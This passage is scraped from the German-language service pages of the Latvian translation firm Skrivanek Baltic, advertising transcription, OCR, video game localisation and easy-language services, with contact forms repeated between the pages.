Exemplar, das durch die Unterschrift/E-Unterschrift der Person, welche die Abschrift angefertigt hat, oder eines Dolmetschers beglaubigt wurde, anfertigen. Bei Transkriptionen des gesprochenen Wortes in Interviews: Für die Transkription des gesprochenen Wortes in Konferenzen, Online-Vorlesungen und Seminaren sowie für die Untertitelung; Für Marketing- und PR-Aktivitäten im Internet, z. B. einen YouTube-Kanal zur Verbesserung Ihrer Position bei der Google-Suche; Für die Transkription und Untertitelung von Fernsehserien, TV-Shows, Filmen, Radiosendungen usw. Transkriptionsdienste werden häufig von Autoren, Journalisten, Forschern, Vermarktern und sogar Studenten genutzt. WAS KOSTEN TRANSKRIPTIONSDIENSTE? Um diese Frage zu beantworten, muss eine Analyse des Ton- und/oder Bildmaterials durchgeführt werden, bei der unsere Projektmanager eine Bewertung vornehmen: Die voraussichtliche Frist für den Auftrag; Die Qualität der Audio- und/oder Videodatei; Die Anforderungen an die Textgröße, z. B. die Zeichenbegrenzung; Die Besonderheiten der aufgenommen Sprache: Zusätzliche Anforderungen: z. B. ob die Abschrift auch Korrekturlesen, Sprecheridentifizierung, Zeitcodierung usw. benötigt. Sie können sich sicher sein, dass wir stets transparent mit unseren Kunden sind und vor Beginn eines Auftrages Fragen wie Kosten und Abgabefrist mit Ihnen vereinbaren. WARUM SOLLTE IHR UNTERNEHMEN VON HOCHWERTIGEN TRANSKRIPTIONSDIENSTEN PROFITIEREN? Für Ihre Arbeit müssen Sie häufig große Mengen von Audio- und/oder Videoaufnahmen analysieren. Den richtigen Abschnitt eines Online-Vortrags oder Interviews zu finden, kann in der Informationsfülle manchmal herausfordernd sein. Mithilfe der Transkription können Sie jedoch mit der Suchfunktion in einem Texteditor arbeiten, um jedes benötigte Schlüsselwort zu finden, das man normalerweise in einer Audio- oder Videodatei sehr lange suchen würde. Transkribierte Aufnahmen erleichtern die Archivierung von Reden oder die Suche nach Informationen in Audio- und/oder Bildarchiven. Erinnern Sie sich an ihre Studienzeit zurück: Wer hat schon Lust und Zeit, stundenlang Vorlesungen anzuhören, wenn man sie auch einfach lesen könnte? Transkriptionsdienste werden auch von Journalisten, die Interviews untertiteln, regelmäßig in Anspruch genommen: Die automatische Transkription von aufgezeichneten Interviews spart nicht nur viel Zeit, sondern ist auch für die Qualität ihrer Arbeit unerlässlich. Die häufigsten Arten von Ton- und/oder Bildaufnahmen, die Skrivanek täglich zur Transkription erhält, sind: Interviewmitschnitte; Sprachnachrichten; Aufzeichnungen von Schulungen, Vorträgen, Konferenzpräsentationen, Podiumsdiskussionen und Geschäftstreffen; Podcasts, Filme und Fernsehserien, usw. TRANSKRIPTIONSDIENSTE FÜR RECHTLICHE ZWECKE Vor lettischen und europäischen Gerichten beantragen die Parteien zunehmend die Zulassung von Aufzeichnungen von Gesprächen oder Ereignissen als Beweismittel, insbesondere in Straf- und Zivilverfahren bei Familienstreitigkeiten über Eigentumsaufteilung, Unterhalt oder Sorgerecht. Bekanntlich muss jede Ton- und/oder Bildaufnahme, die als Beweismittel in einem Fall verwendet wird, in Form eines Textdokuments vorliegen, d. h. das, was auf der Ton- und/oder Bildaufnahme zu hören ist, muss in Form eines Textes vorliegen, der in der Regel von der Person unterzeichnet ist, welche die Transkription angefertigt hat. Solch eine wortgetreue Transkription erfordert besondere viel Sorgfalt, da sie alle hörbaren Geräusche sowie die Intonation und den Gefühlsausdruck der Sprecher berücksichtigt, die in einem Verfahren eine entscheidende Rolle spielen können, und die Transkription muss Zeitstempel verwenden und die Sprecher identifizieren. TRANSKRIPTION VON AUFNAHMEN IN FREMDSPRACHEN Angesichts der internationalen und multikulturellen Geschäftswelt und Wissenschaft werden die meisten Sitzungen und Konferenzen heutzutage in einer Fremdsprache abgehalten und die Unternehmen bereiten für ihre Mitarbeiter Videoaufzeichnungen in englischer Sprache vor, damit sie von einem möglichst breiten Publikum gesehen und gehört werden können. Wissenschaftler nehmen Transkriptionsdienste in Anspruch, um Förderanträge vorzubereiten oder wissenschaftliche Forschungen durchzuführen, bei denen sie mit Audio- und/oder visuellen Aufzeichnungen arbeiten, da das Forschungsmaterial leicht analysierbar und bearbeitbar sein muss. Eine sorgfältige Auswahl der Geschäftspartner und Marktforschung sind hierbei essenziell! Die Arbeit mit fremdsprachigen Aufnahmen ist viel komplexer als die Arbeit mit lettischen Aufnahmen, da sie nicht nur Präzision erfordern, sondern auch die Überprüfung durch eine Person, welche die Ausgangssprache fließend beherrscht, manchmal begleitet von Erklärungen oder Übersetzungen ins Lettische. WARUM SOLLTE DIE TRANSKRIPTION VON FACHLEUTEN DURCHGEFÜHRT WERDEN? Die Transkription von Audio- und/oder Bildaufzeichnungen wird von Fachleuten unseres Unternehmen vorgenommen, die damit tagtäglich zu tun haben. Somit können wir garantieren, dass der Auftrag korrekt, zweckmäßig und seinen Anforderungen entsprechend ausgeführt wird. Dies ist vor allem wichtig, wenn die Transkription vor Gericht vorgelegt werden soll. Die Transkription ist auch wichtig für Marketing- oder Geschäftszwecke, jedoch enthalten Audio- und/oder visuellen Aufnahmen in der Regel oftmals unnötige Wiederholungen, Umformulierungen, Lückenfüller, Schimpfwörter und Unterbrechungen im Redefluss, die (meistens! ) nicht in die Transkription aufgenommen werden sollten. Bei der professionellen Transkription geht es nicht nur darum, jeden hörbaren Aufnahmeton in Schriftzeichen umzuwandeln - es handelt sich um eine ganze Reihe verwandter Dienstleistungen, die Erfahrung und ein geschicktes Händchen erfordern. Transkriptionsdienste sind unsere Spezialität. Darauf können Sie sich verlassen, wenn Sie unsere Transkriptionsdienste in Anspruch nehmen: Qualitativ hochwertige Transkriptionen dank hervorragender Sprachkenntnisse, aktuellster Spracherkennungstechnologie und guten Arbeitsbedingungen, die für die Ausführung der Transkriptionen essenziell sind. Genaue und präzise Sprache mit Liebe zum Detail - so können wir auch unserer anspruchsvollsten Kunden zufriedenstellen. Zeit- und Energieersparnis der oft ermüdenden Arbeit - Immerzu ein und das selbe Wort anzuhören und zu transkribieren ist äußerst schwierig. Unsere Fachleute bei Skrivanek helfen gerne bei der Bearbeitung und dem Korrekturlesen des transkribierten Textes; Bei Abschluss des Auftrags können wir die Datei in dem von Ihnen gewünschten Format erstellen. Untertitel werden oftmals im . srt-Format benötigt. Auch das übernehmen wir gerne. NACHTEILE KOSTENLOSER ONLINE-TRANSKRIPTIONSDIENSTE Im Internet gibt es einen großen Markt an Transkriptionstools. Natürlich kann ein kostenloses Transkriptionstool eine Textdatei für Sie erstellen, aber vergessen Sie nicht, dass die künstliche Intelligenz eine von Menschen geschaffene Software ist und Texte somit nicht verändern kann. Auch kann es weder Kontext noch Emotionen erkennen oder zwischen den Zeilen lesen. Daher sind kostenlose Transkriptionstools weder für die Transkription von Gesprächen für Gerichtsverfahren noch für die Transkription von Filmen, Fernsehserien oder Online-Schulungen geeignet. Ein kostenloses Transkriptionstool ist eine große Hilfe, wenn Sie nur wissen wollen, was in einer Audio- und/oder Videoaufnahme gesagt wird. Dazu sollten Aufnahmen, die mit Hilfe von Software in Text umgewandelt wurden, immer von einer Fachkraft überprüft werden sollten, der notwendige Korrekturen vornimmt. Schließlich sprechen wir selten langsam, deutlich und fließend und ein Computer kann oft den Sprachfluss verfehlen, weil es am Ende des Tages einfach nur ein Computer ist. Neben der begrenzten Anzahl von Funktionen, die kostenlose Transkriptionstools bieten, gibt es noch weitere Herausforderungen, die eine professionelle Fachkraft besser bewältigen kann als ein Computerprogramm: Akzentuierte und ungewöhnliche Sprache, was die Sprechgeschwindigkeit mit einschließt - einige Tools bieten die Möglichkeit, mit vielen verschiedenen Sprachen zu arbeiten, aber das reicht möglicherweise nicht aus, wenn die Audio- und/oder visuelle Aufnahme regionale Wörter, die in räumlich begrenzten Gebieten verwendet werden, Dialekte oder veraltete Wörter enthält; Die Aufnahmequalität - jegliche Hintergrundgeräusche und andere Klänge, welche nicht die zu transkribierende Sprache sind, stellen eine Herausforderung für eine Transkriptionssoftware dar, da diese aufgrund von Hintergrundgeräuschen und -klängen nicht in der Lage ist, Wörter richtig zu erkennen; Begrenzter Wortschatz, insbesondere bei der Verwendung von Eigennamen, Redewendungen und Ausdrücken; Formatierung - ein automatisches Transkriptionstool kann Audio- und/oder visuelle Sprachaufzeichnungen nur in schriftlichem Text wiedergeben, ohne jegliche Bearbeitung - Interpunktion, Syntax oder Stilistik. Es ist sehr schwierig und zeitaufwändig, solche Änderungen nach Abschluss der Transkription vorzunehmen, weshalb eine professionelle Fachkraft alle notwendigen Verbesserungen im Rahmen des Arbeitsablaufs vornimmt. --- > Skrivanek garantiert Ihnen, dass die Dokumente richtig gescannt und anschließend in die gewünschte Zielsprache übersetzt werden. - Published: 2025-01-06 - Modified: 2025-07-03 - URL: https://skrivanek.lv/ocr-optiska-rakstzimju-atpazisana/ - Translation Priorities: Optional WIE BENUTZT MAN DIE OCR IN DER PRAXIS? OCR (Optical Character Recognition) ist eine Technologie, die in verschiedenen Branchen, einschließlich der Übersetzungsbranche, weit verbreitet ist. Viele der Dokumente, mit denen die Mitarbeiter von Übersetzungsbüros tagtäglich arbeiten, gehen als Scans oder JPG/PDF-Dateien ein. Dies sind Formate, die sich zwar für die Informationsverteilung, nicht aber für die Bearbeitung oder Übersetzung eignen. Ohne die OCR-Technologie müssten die Mitarbeiter viel Zeit und Mühe aufwenden, um beispielsweise den Text von gescannten Dokumenten schlechter Qualität zu transkribieren. OCR-Software oder integrierte Funktionen erkennen, einfach gesagt, Zeichen in nicht bearbeitbaren Dateien und wandeln sie in bearbeitbaren und nutzbaren Texten um. OCR-Software kann auch Texte in Bildern erkennen und nicht editierbare Tabellen, Siegelabdrücke, Formeln oder sogar eine ganze PDF-Datei in ein Textdokument umwandeln. Somit wird die PDF-Datei in eine offene, editierbare Textdatei umgewandelt, aus der man mühelos bestimmte Textteile kopieren, neuen Text hinzufügen oder ein zweisprachiges Dokument erstellen kann. WIE KÖNNEN WIR OCR IN DER PRAXIS EINSETZEN? Es gibt zwei Möglichkeiten, mit dieser Technologie zu arbeiten und die OCR-Funktionen zu nutzen: Sie installieren die OCR-Software auf Ihrem Computer oder indem Sie ein Gerät mit integrierter OCR-Funktion benutzen. Im Internet finden Sie auch kostenlose Konvertierungsprogramme für Bilddateien, welche die OCR-Technologie verwenden, jedoch wird dies selten von Fachleuten empfohlen. Darauf gehen wir am Ende des Artikels genauer ein. In beiden oben genannten Fällen ist das Scannen von Dateien ein einfacher Vorgang, der die Büroarbeit erheblich erleichtert. Ob man die eine oder andere Option benutzt, kommt weitgehend auf die Besonderheiten des Unternehmens, der Dokumentenart und den Kundenanforderungen an. OCR-Software gibt es sowohl in kostenlosen als auch in kostenpflichtigen Versionen. Die kostenpflichtigen Versionen bieten weitaus mehr Optionen, wenn es um die technischen Möglichkeiten der Bearbeitung eines Dokuments geht, sowie zusätzliche Funktionen in Bezug auf Grafiken oder fremdsprachige Texte. Um OCR-Software zu verwenden, muss sich die zu scannende Datei auf Ihrem Computer befinden. Nach dem Öffnen der Datei folgen Sie den Anweisungen, was in der Regel nur ein paar Klicks erfordert. Nach Bearbeitung kann die fertige Textdatei heruntergeladen werden. Es ist etwas wahrscheinlicher, dass Unternehmen Drucker oder Scanner mit bereits integrierter OCR-Technologie kaufen, als dass sie eine zusätzliche Software kaufen. In diesem Fall ist der Scanvorgang etwas schneller, da Sie das Dokument nur mit aktivierter OCR-Option scannen müssen. Die gescannte Datei befindet sich bereits in Textform auf Ihrem Computer. Wie Sie sehen können, ist der OCR-Prozess beim Scannen von Dokumenten in beiden Fällen sehr ähnlich und unkompliziert. Allerdings spielt die Qualität des Dokuments eine große Rolle - die OCR-Technologie eignet sich am besten zum Scannen von hochauflösenden und klaren Inhalten. Benötigen Sie Dienstleistungen im Bereich der optischen Zeichenerkennung? Kontaktieren Sie uns! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! DIE VORTEILE VON OCR Die OCR-Technologie ist nicht nur leicht zu bedienen, sondern hat auch viele andere Vorteile: Zeitersparnis - vielleicht der größte Vorteil der OCR-Technologie. Es ist nicht mehr notwendig, Dokumente neu zu schreiben, um einzelne Informationen aus einer PDF-Datei zu entziffern. Somit spart man enorm an Arbeit und Energie. Archivierung - OCR hilft Ihnen nicht nur bei der Erstellung von Textdateien, Sie können Ihre Dateien auch in einem elektronischen Archiv speichern. Somit ist auch die Dokumentensuche leichter: Geben Sie einfach ein Stichwort oder einen Satz in die Suchmaschine ein, um eine Liste von Ergebnissen zu erhalten. Verbesserter Dokumentendurchlauf - Dokumente legen oft einen langen Weg zurück, bevor sie den richtigen Empfänger erreichen. Das OCR-System kann auch zu einfacheren automatischen Versandprozesse beitragen. Darüber hinaus können Dokumente gleichzeitig mehreren Prozessen unterzogen werden, was die Auftragsabwicklung erheblich beschleunigt. OCR - OPTISCHE ZEICHENERKENNUNG FÜR FREMDSPRACHIGE DOKUMENTE Die OCR-Technologie ist in Übersetzungsbüros und Unternehmen, die mit Sprachen arbeiten, weit verbreitet, da sie das Scannen von Dokumenten unterschiedlicher Qualität in einer Fremdsprache sowie die Bearbeitung von PDF-Dateien oder handschriftlichen Materialien ermöglicht. Auch Skrivanek bietet diese Technologie an. Fast jedes OCR-Programm bietet die Möglichkeit, eine andere Sprache zu wählen und die Liste der angebotenen Sprachen ist wirklich beeindruckend. Diese Software kann auch nicht-lateinische Alphabete lesen, so dass alle Symbolzeichen als Fremdsprache erkannt werden. Einige OCR-Software bietet neben der Funktion des Lesens fremdsprachiger Texte auch die Möglichkeit, ganze Textfragmente automatisch zu übersetzen - Sie müssen nur die Ausgangssprache des Dokuments und die Zielsprache auswählen Da die maschinelle Übersetzung bestimmter Texte jedoch noch zu viele Korrekturen erfordert und oft nicht direkt nutzbar ist, empfiehlt es sich, einen professionellen Dienst zu wählen und sich an ein Übersetzungsbüro zu wenden. WARUM SOLLTE MAN OCR-DIENSTLEISTUNGEN VON FACHLEUTEN AUSFÜHREN LASSEN? Wenn Sie möchten, dass die Dokumente in höchster Qualität erstellt werden, sollten Sie sich an einen Fachmann wenden, ähnlich wie bei anderen alltäglichen Dingen, z. B. bei der Reparatur von Sanitäranlagen oder dem Erlernen eines Musikinstruments. Mitarbeiter in unserem Unternehmen, die täglich mit OCR-Technologie arbeiten, können den Prozess der Dokumentenkonvertierung effizienter durchführen und mögliche Fehler schneller erkennen. Des Weiteren können wir auch bei Folgendem helfen: Das Dokument hat ein spezielles Layout oder eine besondere Platzierung von grafischen Elementen; das Material ist für einen hochauflösenden Druck bestimmt; es erfordert fortgeschrittenere OCR-Funktionen (oder andere Software), um die Originalversion des Dokuments zu kopieren. NACHTEILE VON ONLINE-OCR-TOOLS Viele OCR-Technologien zum Scannen von Dokumenten stehen im Internet frei zur Verfügung. Auf den ersten Blick mag dies verlockend erscheinen, doch dieser Weg ist mit einigen Komplikationen und sogar Risiken verbunden. Zuallererst wird man Zeit brauchen, um eine geeignete Webseite zu finden und zu bewerten. Nicht alle Webseiten bieten einen kostenlosen Dienst an, der sofort vollständig zugänglich ist. Auch die Auswahl von Tools ist wegen den Besonderheiten der Website oft eingeschränkt. Mit Online-OCR-Tools können Sie nicht mit großen Dateien arbeiten, so dass verschiedene Arten von komplexen Grafiken, größere Texte oder komplexe Formulare nicht gelesen werden können. Selbst wenn das Tool, das Sie finden, anbietet, das Dokument entsprechend Ihren Anforderungen zu lesen, gibt es möglicherweise keine Option, die fertige Datei herunterzuladen - Sie müssen die Datei also weiterhin manuell kopieren. Das größte Risiko, das bei der Verwendung von Online-OCR-Tools zu beachten ist, ist jedoch der Schutz persönlicher und anderer wichtiger Daten. Wir können nur selten überprüfen, wie sicher eine Webseite ist und dürfen nicht davon ausgehen, dass Daten mit hohem Sicherheitsrisiko nach Abschluss des Online-OCR gelöscht werden, da alles, was einmal im Internet landet, auch dort bleibt. Die Zusammenarbeit mit dem Übersetzungsbüro Skrivanek beseitigt all diese unnötigen Probleme und garantiert, dass die Dokumente korrekt gescannt und anschließend in die gewünschte Sprache übersetzt werden. Bei weiteren Fragen und Anliegen stehen wir Ihnen gerne zur Verfügung! --- > Um ein möglichst breites Publikum für Videospiele zu erreichen, spielt eine erfolgreiche Lokalisierung eine große Rolle. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/videospelu-lokalizacija/ - Translation Priorities: Optional Um ein möglichst breites Publikum für Videospiele zu erreichen, spielt eine erfolgreiche Lokalisierung eine große Rolle. Bei Skrivanek Baltic sorgen wir dafür, dass die Inhalte von Videospielen nicht nur in hervorragender Qualität übersetzt, sondern auch an den lokalen Markt angepasst werden, um kulturelle und sprachliche Barrieren zu überwinden. WAS BIETET SKRIVANEK AN? Experten aus der Videospielindustrie. Unsere Übersetzer sind sowohl Sprachprofis als auch leidenschaftliche Gamer, die stets ein sorgfältig zugeschnittenes Produkt auf höchstem Niveau liefern. Kulturelle Unterschiede. Der Text wird von uns so angepasst und umgewandelt, dass er für den Spieler der Zielsprache natürlich und ansprechend klingt. Schnelle Arbeitsausführung. Wir übersetzen ohne Zeit zu verlieren, damit die Entwicklung des Videospiels nicht verzögert wird. Qualitätskontrolle. Ständige Qualitätskontrollen sorgen für Genauigkeit - vor allem bei der Verwendung von Schlüsselbegriffen - und für ein intensives Spielerlebnis. Wenn Sie verschiedene Sprachen für Ihr Videospiel anbieten wollen, kontaktieren Sie uns - wir werden die beste Lösung für Sie finden! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Um ein möglichst breites Publikum für Videospiele zu erreichen, spielt eine erfolgreiche Lokalisierung eine große Rolle. Bei Skrivanek Baltic sorgen wir dafür, dass die Inhalte von Videospielen nicht nur in hervorragender Qualität übersetzt, sondern auch an den lokalen Markt angepasst werden, um kulturelle und sprachliche Barrieren zu überwinden. WAS BIETET SKRIVANEK AN? Experten aus der Videospielindustrie. Unsere Übersetzer sind sowohl Sprachprofis als auch leidenschaftliche Gamer, die stets ein sorgfältig zugeschnittenes Produkt auf höchstem Niveau liefern. Kulturelle Unterschiede. Der Text wird von uns so angepasst und umgewandelt, dass er für den Spieler der Zielsprache natürlich und ansprechend klingt. Schnelle Arbeitsausführung. Wir übersetzen ohne Zeit zu verlieren, damit die Entwicklung des Videospiels nicht verzögert wird. Qualitätskontrolle. Ständige Qualitätskontrollen sorgen für Genauigkeit - vor allem bei der Verwendung von Schlüsselbegriffen - und für ein intensives Spielerlebnis. Wenn Sie verschiedene Sprachen für Ihr Videospiel anbieten wollen, kontaktieren Sie uns - wir werden die beste Lösung für Sie finden! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationHow did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Oder buchen Sie jetzt eine Online-Beratung! WAS IST IN DER VIDEOSPIELÜBERSETZUNG ENTHALTEN? Im Grunde geht es bei der Spielübersetzung darum, den Inhalt und den Soundtrack eines Spiels von einer Sprache in eine andere zu übertragen. Die Übersetzung des Videospielinhalts beschränkt sich nicht nur auf die Dialoge, die gelesen werden können, wenn die Spielcharaktere miteinander sprechen. Es ist auch möglich, das Material, die Anweisungen, die Nutzungsbedingungen und andere Inhalte, die in der CD-Hülle enthalten sind, individuell zu gestalten - wie z. B. das Informationsmaterial und die Werbung für das Spiel in der Zielsprache. Nicht jeder ist mit der Ausgangssprache eines Videospiels, die meistens Englisch ist, vertraut. Wenn die Spieler nur wenig oder gar kein Englisch verstehen, ist die Wahrscheinlichkeit groß, dass sie das Spielerlebnis nicht in vollem Umfang genießen oder das Spiel gar nicht erst kaufen werden. Die Lokalisierung des Videospiels in verschiedenen Sprachen kann jedoch das Interesse an Orten steigern, die Videospiele lieber in ihrer Muttersprache genießen. WARUM LOHNT ES SICH, IHRE VIDEOSPIELE ZU LOKALISIEREN? Indem sie dafür sorgen, dass der Text, der Text der Figuren und sogar die Bilder in den Videospielen genau auf die jeweilige Region abgestimmt sind, ermöglichen die Unternehmen Unterhaltungsfans aus aller Welt, die Spiele in ihrer eigenen Sprache zu genießen. Davon profitieren sowohl die Spieler als auch die Spieleentwickler. Der Spielerkreis erweitert sich. Somit kann man durch die Lokalisierung neue Spieler erreichen, die das Spiel in der Originalsprache nicht gekauft hätten. Umsatzsteigerung Der Verkauf eines Originalwerks auf einem neuen Markt und in einer neuen Region kann die Verkaufszahlen eines Videospiels und damit den Gewinn steigern. Im Einklang mit den kulturellen Gepflogenheiten. Durch die Lokalisierung kann das Spiel an die kulturellen Gepflogenheiten der verschiedenen Regionen angepasst werden, so dass es bei den Spielern besser ankommt. Ein angenehmes Spielerlebnis. Die Lokalisierung von Spielen kann das Spielerlebnis verbessern, indem sie die Sprachbarriere verringert und das Spiel angenehmer und fesselnder macht. WIE LOKALISIEREN WIR VIDEOSPIELE? Die Übersetzung ist nur ein kleiner Teil der Lokalisierung von Videospielen. Darauf achten wir, um Ihnen Qualität auf höchstem Niveau zu bieten: Übersetzung. Dies ist der erste und wichtigste Schritt, um den Inhalt an die Sprache des Zielmarktes anzupassen. Lektorat und Korrekturlesen. Die Übersetzungen werden überprüft, um Begriffe zu klären und typografische Fehler zu korrigieren. Qualitätskontrolle der Sprache. Bevor wir Material zur Integration in das Videospiel freigeben, wird die Genauigkeit der Übersetzung geprüft und getestet. Adaption. In diesem Schritt werden technische Bearbeitungen vorgenommen, um die Übersetzung im Spiel darstellen zu können. Wir nehmen auch Korrekturen an visuellen Elementen vor, um sicherzustellen, dass der Inhalt korrekt dargestellt wird. Adaption an die Region. In einigen Ländern sind verschiedene Elemente von Videospielen verboten worden. Zum Beispiel Blut, Totenköpfe oder religiöse Symbole. Wenn keine Änderungen vorgenommen werden, könnte das Videospiel landesweit verboten werden. Außerdem muss auch berücksichtigt werden, wie hoch die Toleranz zur Darstellung von Gewalt oder sexuellen Inhalten in gewissen Ländern ist. Lokalisierung von Audioinhalten. Sobald die Lokalisierung des Inhalts abgeschlossen ist, werden die Sprecher für die Rollen der Videospielcharaktere ausgewählt und die Audioinhalte aufgenommen und überprüft, um sicherzustellen, dass das Material dem lokalen Dialekt und den Akzenten entspricht. WIE GEHT MAN BEI DER LOKALISIERUNG VON VIDEOSPIELEN VOR? An der Lokalisierung von Videospielen sind Linguisten beteiligt, die Muttersprachler der Zielsprache sind. Somit können wir dem Spieler ein unterhaltsames und verständliches Spiel liefern, indem wir den Text an den Sprachstil der Figuren anpassen - sie sprechen wie "einheimische" Figuren. Mit diesen Schritten können wir eine qualitativ hochwertige Lokalisierung eines Videospiels erarbeiten: Der Kunde schickt den Text und Styleguide Wir einigen uns auf eine Abgabefrist. Die Projektmanager konvertieren die Dateien, die sie zur Übersetzung erhalten, und senden sie an die muttersprachlichen Übersetzer Die Übersetzer machen sich an die Arbeit und beachten dabei: bei der Aufzeichnung von Bild- und Ortsnamen in einer separaten Datei den Styleguide zu berücksichtigen, um ein einheitliches Bild zu wahren; mit dem Kunden über einen Fragebogen oder eine Messenger-App zu kommunizieren, um die in der Ausgangssprache erfassten Nuancen zu klären und sie in einer anderen Sprache wiedergeben zu können. Der oder die Übersetzer beenden ihre Arbeit und es ist Zeit für eine unabhängige technische und grammatikalische Überprüfung. Nachdem etwaige grammatikalische und stilistische "Fehler" behoben wurden, wird der Text einer Qualitätskontrolle unterzogen. Nun ist das Material vollständig übersetzt und kontrolliert worden. Jetzt können wir sie an den Kunden schicken. Der Kunde testet die neue Sprachlokalisierung im Spiel und gibt uns Feedback. Wenn Änderungen vorgenommen werden müssen, nehmen wir diese vor. Nach dem eventuelle Änderungen vorgenommen wurden, ist der Übersetzungsprozess abgeschlossen. --- > Erfahren Sie, was einfache und leichte Sprache zu bieten haben. Aus komplexen und schwer verständlichen Texten werden leichte und einfache Texte. Kontakt! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/viegla-valoda-vienkarsa-valoda/ - Translation Priorities: Optional WARUM SOLLTEN SIE MIT SKRIVANEK ARBEITEN? Skrivanek Baltic ist ein führendes Sprachunternehmen in Lettland, das Fremdsprachenkurse und Übersetzungsdienste auf höchstem Niveau anbietet. Wir bieten Ihnen nicht nur leichte und einfache Texte, sondern auch ein großartiges Serviceerlebnis an. Deswegen schätzen uns unsere Kunden. Wenn Sie mit uns arbeiten erwartet Sie: Umfangreiche Formatunterstützung - pdf, jpg, idml, json oder html - wir können alles formatieren. Mit Hilfe unserer DTP - Desktop-Publishing-Spezialisten bieten wir Textverarbeitung in verschiedenen Dateierweiterungen. Sie müssen sich also nicht um die Bearbeitung Ihrer Unterlagen kümmern. Fachleute für leichte und einfache Sprache - unser Team besteht aus qualifizierten Linguisten, die auf verschiedene Branchen spezialisiert sind, so dass Fachvokabular keinerlei Probleme darstellt. Selbst die komplexesten Texte werden an die Erfordernisse der leichten und einfachen Sprache angepasst. Schnelles Online-Angebot - Sie müssen nicht stundenlang auf ein Angebot warten. Wir können Ihnen innerhalb von 15 Minuten ein Angebot unterbreiten. Sie können jederzeit eine Online-Beratung buchen. Dort werden wir Ihnen ein detailliertes Angebot unterbreiten und können auf all Ihre Fragen eingehen. Sowohl die leichte als auch die einfache Sprache dienen dazu, Informationen leichter zugänglich und verständlich zu machen. Sie sind sich sehr ähnlich, haben aber jeweils eine andere Zielleserschaft und unterschiedliche Merkmale. Im Folgendem finden Sie eine kleine Beschreibung dieser Sprachen. Wir stellen Ihnen auch eine kurze Liste an Empfehlungen und Normen bereit, damit Sie wissen, wann diese Dienstleistung für Sie sinnvoll sein könnte! WAS IST LEICHTE SPRACHE? Leichte Sprache ist eine Form der Kommunikation, die Informationen für jedermann verständlich macht. Der Wissensraum unserer Zeit wird immer komplexer, da jeder seine eigene Sprache spricht. Beamte haben ihre eigene Art, sich auszudrücken, während Juristen, IT-Spezialisten und Ärzte eine andere haben. Manchmal ist es schwierig, sich gegenseitig zu verstehen. Aber diese Fachsprachen können schnell verständlich gemacht werden. Deswegen bieten wir die leichte Sprache an, um Menschen die Möglichkeit zu geben, gleichberechtigt an der Gesellschaft teilzuhaben. Benötigen Sie einen Text in leichter oder einfacher Sprache? Kontaktieren Sie uns! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung für leichte oder einfache Sprache! LEICHTE SPRACHE Empfehlungen und Grundsätze für die Anwendung: Vermeiden Sie lange Sätze und komplexe Satzstrukturen (ein Satz = 